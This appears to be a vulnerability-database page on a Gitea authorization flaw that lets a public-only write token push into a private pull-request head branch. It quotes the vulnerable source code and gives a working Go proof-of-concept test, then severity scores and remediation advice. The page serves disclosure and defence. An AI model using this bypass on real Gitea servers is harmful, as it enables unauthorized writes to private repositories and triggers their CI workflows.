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Gitea EUVDEUVD-2026-58170

| CVE-2026-58443 CRITICAL
Incorrect Authorization (CWE-863)
2026-07-21 https://github.com/go-gitea/gitea GHSA-xxjv-752h-3vp2
9.1
CVSS 3.1 · Vendor: https://github.com/go-gitea/gitea
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Severity by source

Vendor (https://github.com/go-gitea/gitea) PRIMARY
9.1 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
vuln.today AI
7.1 HIGH

Requires an authenticated write-scoped token whose user already has head-branch write access, so PR:L not PR:N; impact is a private-repo write (I:H), no data read (C:N), limited availability via triggered Actions (A:L).

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N
SUSE
CRITICAL
qualitative
Red Hat
9.6 CRITICAL
qualitative

Primary rating from Vendor (https://github.com/go-gitea/gitea).

CVSS VectorVendor: https://github.com/go-gitea/gitea

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
High

Lifecycle Timeline

6
Analysis Updated
Aug 14, 2026 - 20:29 vuln.today
v2 (cvss_changed)
Re-analysis Queued
Aug 14, 2026 - 20:22 vuln.today
cvss_changed
CVSS changed
Aug 14, 2026 - 20:22 NVD
9.6 (CRITICAL) 9.1 (CRITICAL)
Source Code Evidence Fetched
Jul 21, 2026 - 21:05 vuln.today
Analysis Generated
Jul 21, 2026 - 21:05 vuln.today
CVE Published
Jul 21, 2026 - 20:38 github-advisory
CRITICAL 9.6

DescriptionCVE.org

Summary

Gitea allows a public-only,write:repository token to update a private pull request head branch through a public base repository route.

The vulnerable endpoint is:

text
POST /api/v1/repos/{public-owner}/{public-repo}/pulls/{index}/update

Gitea checks the token's public-only restriction against the route repository, which is the public base repository. UpdatePullRequest() then authorizes the pull request head repository with ordinary user RBAC and calls the pull update service. If the head repository is private, the active token's public-only restriction is not re-applied to that private repository before Gitea pushes changes into it.

As a result, the same token that cannot directly write to the private repository can still cause Gitea to push public base commits into the private head branch.

Details

The pull request API routes are attached under a repository route group. The public-only check applies to ctx.Repo.Repository, the route/base repository.

go
// routers/api/v1/api.go:1358-1394
					m.Group("/pulls", func() {
						m.Combo("").Get(repo.ListPullRequests).
							Post(reqToken(), mustNotBeArchived, bind(api.CreatePullRequestOption{}), repo.CreatePullRequest)
						m.Get("/pinned", repo.ListPinnedPullRequests)
						m.Post("/comments/{id}/resolve", reqToken(), mustNotBeArchived, repo.ResolvePullReviewComment)
						m.Post("/comments/{id}/unresolve", reqToken(), mustNotBeArchived, repo.UnresolvePullReviewComment)
						m.Group("/{index}", func() {
							m.Combo("").Get(repo.GetPullRequest).
								Patch(reqToken(), bind(api.EditPullRequestOption{}), repo.EditPullRequest)
							m.Get(".{diffType:diff|patch}", repo.DownloadPullDiffOrPatch)
							m.Post("/update", reqToken(), repo.UpdatePullRequest)
							m.Get("/commits", repo.GetPullRequestCommits)
							m.Get("/files", repo.GetPullRequestFiles)
							m.Combo("/merge").Get(repo.IsPullRequestMerged).
								Post(reqToken(), mustNotBeArchived, bind(forms.MergePullRequestForm{}), repo.MergePullRequest).
								Delete(reqToken(), mustNotBeArchived, repo.CancelScheduledAutoMerge)
							m.Group("/reviews", func() {
								m.Combo("").
									Get(repo.ListPullReviews).
									Post(reqToken(), bind(api.CreatePullReviewOptions{}), repo.CreatePullReview)
								m.Group("/{id}", func() {
									m.Combo("").
										Get(repo.GetPullReview).
										Delete(reqToken(), repo.DeletePullReview).
										Post(reqToken(), bind(api.SubmitPullReviewOptions{}), repo.SubmitPullReview)
									m.Combo("/comments").
										Get(repo.GetPullReviewComments)
									m.Post("/dismissals", reqToken(), bind(api.DismissPullReviewOptions{}), repo.DismissPullReview)
									m.Post("/undismissals", repo.UnDismissPullReview)
								})
							})
							m.Combo("/requested_reviewers", reqToken()).
								Delete(bind(api.PullReviewRequestOptions{}), repo.DeleteReviewRequests).
								Post(bind(api.PullReviewRequestOptions{}), repo.CreateReviewRequests)
						})
						m.Get("/{base}/*", repo.GetPullRequestByBaseHead)
					}, mustAllowPulls, reqRepoReader(unit.TypeCode), context.ReferencesGitRepo())
go
// routers/api/v1/api.go:1465-1466
				}, repoAssignment(), checkTokenPublicOnly())
			}, tokenRequiresScopes(auth_model.AccessTokenScopeCategoryRepository))

For POST /api/v1/repos/{public-owner}/{public-repo}/pulls/{index}/update, the route repository can be public, so a public-only,write:repository token passes the route-level public-only check.

The update handler then checks whether the caller can update the PR head branch:

go
// routers/api/v1/repo/pull.go:1220-1270
	pr, err := issues_model.GetPullRequestByIndex(ctx, ctx.Repo.Repository.ID, ctx.PathParamInt64("index"))
	if err != nil {
		if issues_model.IsErrPullRequestNotExist(err) {
			ctx.APIErrorNotFound()
		} else {
			ctx.APIErrorInternal(err)
		}
		return
	}

	if pr.HasMerged {
		ctx.APIError(http.StatusUnprocessableEntity, err)
		return
	}

	if err = pr.LoadIssue(ctx); err != nil {
		ctx.APIErrorInternal(err)
		return
	}

	if pr.Issue.IsClosed {
		ctx.APIError(http.StatusUnprocessableEntity, err)
		return
	}

	if err = pr.LoadBaseRepo(ctx); err != nil {
		ctx.APIErrorInternal(err)
		return
	}
	if err = pr.LoadHeadRepo(ctx); err != nil {
		ctx.APIErrorInternal(err)
		return
	}

	rebase := ctx.FormString("style") == "rebase"

allowedUpdateByMerge, allowedUpdateByRebase, err := pull_service.IsUserAllowedToUpdate(ctx, pr, ctx.Doer)
	if err != nil {
		ctx.APIErrorInternal(err)
		return
	}

	if (!allowedUpdateByMerge && !rebase) || (rebase && !allowedUpdateByRebase) {
		ctx.Status(http.StatusForbidden)
		return
	}

	// default merge commit message
	message := fmt.Sprintf("Merge branch '%s' into %s", pr.BaseBranch, pr.HeadBranch)

The service checks the head repository using the user's normal repository permission:

go
// services/pull/update.go:136-164
// IsUserAllowedToUpdate check if user is allowed to update PR with given permissions and branch protections
// update PR means send new commits to PR head branch from base branch
func IsUserAllowedToUpdate(ctx context.Context, pull *issues_model.PullRequest, user *user_model.User) (pushAllowed, rebaseAllowed bool, err error) {
	if user == nil {
		return false, false, nil
	}
	if err := pull.LoadBaseRepo(ctx); err != nil {
		return false, false, err
	}
	if err := pull.LoadHeadRepo(ctx); err != nil {
		return false, false, err
	}

	// 1. check whether pull request enabled.
	prBaseUnit, err := pull.BaseRepo.GetUnit(ctx, unit.TypePullRequests)
	if repo_model.IsErrUnitTypeNotExist(err) {
		return false, false, nil // the PR unit is disabled in base repo means no update allowed
	} else if err != nil {
		return false, false, fmt.Errorf("get base repo unit: %v", err)
	}

	// 2. only support Github style pull request
	if pull.Flow == issues_model.PullRequestFlowAGit {
		return false, false, nil
	}

	// 3. check user push permission on head repository
pushAllowed, rebaseAllowed, err = isUserAllowedToPushOrForcePushInRepoBranch(ctx, user, pull.HeadRepo, pull.HeadBranch)
	if err != nil {
		return false, false, err
	}

That is an ordinary account RBAC decision. It does not ask whether the active API token is allowed to access or mutate pull.HeadRepo.

If allowed, the update service performs a merge/rebase update and pushes into the head repository:

go
// services/pull/update.go:89-100
	reversePR := &issues_model.PullRequest{
		BaseRepoID: pr.HeadRepoID,
		BaseRepo:   pr.HeadRepo,
		BaseBranch: pr.HeadBranch,

		HeadRepoID: pr.BaseRepoID,
		HeadRepo:   pr.BaseRepo,
		HeadBranch: pr.BaseBranch,
	}

_, err = doMergeAndPush(ctx, reversePR, doer, repo_model.MergeStyleMerge, "", message, repository.PushTriggerPRUpdateWithBase)
	return err

The result is a server-side private repository write performed through a public route.

PoC

go
import (
	"encoding/base64"
	"fmt"
	"net/http"
	"net/url"
	"testing"
	"time"

	actions_model "code.gitea.io/gitea/models/actions"
	auth_model "code.gitea.io/gitea/models/auth"
	repo_model "code.gitea.io/gitea/models/repo"
	unit_model "code.gitea.io/gitea/models/unit"
	"code.gitea.io/gitea/models/unittest"
	user_model "code.gitea.io/gitea/models/user"
	"code.gitea.io/gitea/modules/gitrepo"
	api "code.gitea.io/gitea/modules/structs"
	webhook_module "code.gitea.io/gitea/modules/webhook"
	repo_service "code.gitea.io/gitea/services/repository"

	"github.com/stretchr/testify/assert"
	"github.com/stretchr/testify/require"
)

func TestPOCPublicOnlyRepositoryTokenUpdatesPrivatePRHeadBranch(t *testing.T) {
	onGiteaRun(t, func(t *testing.T, _ *url.URL) {
		doer := unittest.AssertExistsAndLoadBean(t, &user_model.User{Name: "user1"})

		baseRepo, err := repo_service.CreateRepository(t.Context(), doer, doer, repo_service.CreateRepoOptions{
			Name:          "public-pr-update-base",
			Description:   "public base repository for public-only PR update PoC",
			AutoInit:      true,
			Readme:        "Default",
			DefaultBranch: "main",
			IsPrivate:     false,
		})
		require.NoError(t, err)

		headRepo, err := repo_service.ForkRepository(t.Context(), doer, doer, repo_service.ForkRepoOptions{
			BaseRepo:     baseRepo,
			Name:         "private-pr-update-head",
			Description:  "private head repository for public-only PR update PoC",
			SingleBranch: baseRepo.DefaultBranch,
		})
		require.NoError(t, err)
		require.NotNil(t, headRepo)
		require.NoError(t, repo_service.UpdateRepositoryUnits(t.Context(), headRepo, []repo_model.RepoUnit{{
			RepoID: headRepo.ID,
			Type:   unit_model.TypeActions,
		}}, nil))
		headRepo = unittest.AssertExistsAndLoadBean(t, &repo_model.Repository{ID: headRepo.ID})

		headBranch := "private-head-update"
		testCreateFileInBranch(t, doer, headRepo, createFileInBranchOptions{
			OldBranch: baseRepo.DefaultBranch,
			NewBranch: headBranch,
		}, map[string]string{
			"private-head-marker.txt": "private head branch marker",
		})
		const workflowID = "private-push.yml"
		const workflowSentinel = "FAULTLINE_POC_062_PRIVATE_ACTION"
		testCreateFileInBranch(t, doer, headRepo, createFileInBranchOptions{
			OldBranch: headBranch,
			NewBranch: headBranch,
		}, map[string]string{
			".gitea/workflows/" + workflowID: fmt.Sprintf(`name: private-push
on:
  push:
    branches:
      - %s
jobs:
  private-head-job:
    runs-on: ubuntu-latest
    steps:
      - run: echo %s
`, headBranch, workflowSentinel),
		})

		require.NoError(t, repo_model.UpdateRepositoryColsNoAutoTime(t.Context(), &repo_model.Repository{
			ID:        headRepo.ID,
			IsPrivate: true,
		}, "is_private"))
		headRepo = unittest.AssertExistsAndLoadBean(t, &repo_model.Repository{ID: headRepo.ID})
		require.True(t, headRepo.IsPrivate)
		baselinePrivateHeadRuns := unittest.GetCount(t, &actions_model.ActionRun{RepoID: headRepo.ID})

		session := loginUser(t, doer.Name)
		publicOnlyToken := getTokenForLoggedInUser(t, session,
			auth_model.AccessTokenScopePublicOnly,
			auth_model.AccessTokenScopeWriteRepository,
		)

		publicPath := "public-base-injected-into-private.txt"
		publicMarker := "FAULT-GITEA-062 public base content reached private head"
		createPublicBaseFile := api.CreateFileOptions{
			FileOptions: api.FileOptions{
				BranchName: baseRepo.DefaultBranch,
				Message:    "create public marker for private head update",
			},
			ContentBase64: base64.StdEncoding.EncodeToString([]byte(publicMarker)),
		}
		req := NewRequestWithJSON(t, "POST", fmt.Sprintf("/api/v1/repos/%s/contents/%s", baseRepo.FullName(), publicPath), &createPublicBaseFile).
			AddTokenAuth(publicOnlyToken)
		MakeRequest(t, req, http.StatusCreated)

		privatePath := "direct-private-write-should-fail.txt"
		directPrivateWrite := api.CreateFileOptions{
			FileOptions: api.FileOptions{
				BranchName: headBranch,
				Message:    "direct private write attempt",
			},
			ContentBase64: base64.StdEncoding.EncodeToString([]byte("direct private write marker")),
		}
		req = NewRequestWithJSON(t, "POST", fmt.Sprintf("/api/v1/repos/%s/contents/%s", headRepo.FullName(), privatePath), &directPrivateWrite).
			AddTokenAuth(publicOnlyToken)
		MakeRequest(t, req, http.StatusNotFound)

		prPayload := map[string]string{
			"title": "faultline public-only private head update",
			"base":  baseRepo.DefaultBranch,
			"head":  fmt.Sprintf("%s/%s:%s", doer.Name, headRepo.Name, headBranch),
		}
		req = NewRequestWithJSON(t, "POST", fmt.Sprintf("/api/v1/repos/%s/pulls", baseRepo.FullName()), prPayload).
			AddTokenAuth(publicOnlyToken)
		resp := MakeRequest(t, req, http.StatusCreated)

		var pr api.PullRequest
		DecodeJSON(t, resp, &pr)
		require.Equal(t, prPayload["title"], pr.Title)

		gitRepo, err := gitrepo.OpenRepository(t.Context(), headRepo)
		require.NoError(t, err)
		defer gitRepo.Close()

		commit, err := gitRepo.GetBranchCommit(headBranch)
		require.NoError(t, err)
		_, err = commit.GetBlobByPath(publicPath)
		require.Error(t, err)

		req = NewRequestf(t, "POST", "/api/v1/repos/%s/pulls/%d/update?style=merge", baseRepo.FullName(), pr.Index).
			AddTokenAuth(publicOnlyToken)
		MakeRequest(t, req, http.StatusOK)
		assert.Eventually(t, func() bool {
			return unittest.GetCount(t, &actions_model.ActionRun{RepoID: headRepo.ID}) > baselinePrivateHeadRuns
		}, 5*time.Second, 50*time.Millisecond)

		actionRun := unittest.AssertExistsAndLoadBean(t, &actions_model.ActionRun{
			RepoID:     headRepo.ID,
			WorkflowID: workflowID,
		}, unittest.OrderBy("id DESC"))
		assert.Equal(t, webhook_module.HookEventPush, actionRun.Event)
		assert.Equal(t, "push", actionRun.TriggerEvent)
		assert.Equal(t, doer.ID, actionRun.TriggerUserID)
		assert.NotEmpty(t, actionRun.CommitSHA)

		job := unittest.AssertExistsAndLoadBean(t, &actions_model.ActionRunJob{RunID: actionRun.ID})
		assert.Contains(t, string(job.WorkflowPayload), workflowSentinel)

		commit, err = gitRepo.GetBranchCommit(headBranch)
		require.NoError(t, err)
		blob, err := commit.GetBlobByPath(publicPath)
		require.NoError(t, err)
		content, err := blob.GetBlobContent(1024)
		require.NoError(t, err)
		assert.Equal(t, publicMarker, content)
	})
}

Impact

The attacker needs a valid public-only,write:repository token for a user who has normal write permission to the private PR head branch. The attacker also needs a public base repository and a pull request relationship where the public base can be merged or rebased into the private head.

Successful exploitation gives a private repository write primitive through a token that is explicitly limited to public repositories. The direct impact is integrity: public base commits are pushed into a private branch even though direct private repository writes are rejected for the same token.

When Actions is enabled on the private head repository, the same server-side push also queues the private repository's matching push workflow. The PoC confirms an ActionRun and ActionRunJob are created for the private head repository with the attack-triggered push event.

AnalysisAI

Broken authorization in Gitea (self-hosted Git server) versions before 1.27.0 lets a token scoped as public-only,write:repository push commits into a private pull-request head branch it should never touch. Because Gitea only evaluates the public-only restriction against the public base repository named in the route (POST /api/v1/repos/{owner}/{repo}/pulls/{index}/update) and never re-applies it to the private head repository, an attacker holding such a token can force a server-side write into the private repo and, where Actions is enabled, trigger its push workflow. This is CWE-863 incorrect authorization; a publicly available exploit code exists in the vendor advisory, EPSS is low at 0.24%, and it is not listed in CISA KEV.

Technical ContextAI

Gitea attaches its pull-request API routes under a repository route group whose checkTokenPublicOnly() guard inspects only ctx.Repo.Repository, i.e. the base repository identified by the URL. When a PR update is requested, UpdatePullRequest() resolves the PR, loads the head repository, and delegates the push-permission decision to pull_service.IsUserAllowedToUpdate(), which calls isUserAllowedToPushOrForcePushInRepoBranch() against pull.HeadRepo using ordinary account RBAC. That RBAC check answers 'can this user write here' but never asks 'is the active API token permitted to reach this repository', so the public-only token restriction is silently dropped for the private head repo. The update service then builds a reverse PullRequest and calls doMergeAndPush(), producing a real git push into the private head branch. The affected package is pkg:go/code.gitea.io/gitea. The root-cause class, CWE-863 (Incorrect Authorization), is exactly this pattern: a missing secondary authorization on a resource reached indirectly through a permitted entry point.

RemediationAI

Vendor-released patch: 1.27.0 - upgrade Gitea to 1.27.0 or later, which re-applies the public-only token restriction to the pull-request head repository (https://github.com/go-gitea/gitea/security/advisories/GHSA-xxjv-752h-3vp2 and https://github.com/go-gitea/gitea/releases/tag/v1.27.0). Until you can upgrade, audit and revoke any access tokens that combine the public-only scope with write:repository, since only those tokens can trigger the flaw and they are relatively uncommon, making this a low-impact control. As a stronger compensating measure, block POST requests to /api/v1/repos/*/pulls/*/update at a reverse proxy, accepting that this disables the legitimate 'Update branch' API for all users. Where private repositories have Actions enabled, temporarily disable Actions on sensitive private head repositories to prevent attacker-triggered workflow execution, at the cost of pausing legitimate CI on those repos.

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Vendor StatusVendor

SUSE

Severity: Critical
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected

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EUVD-2026-58170 vulnerability details – vuln.today

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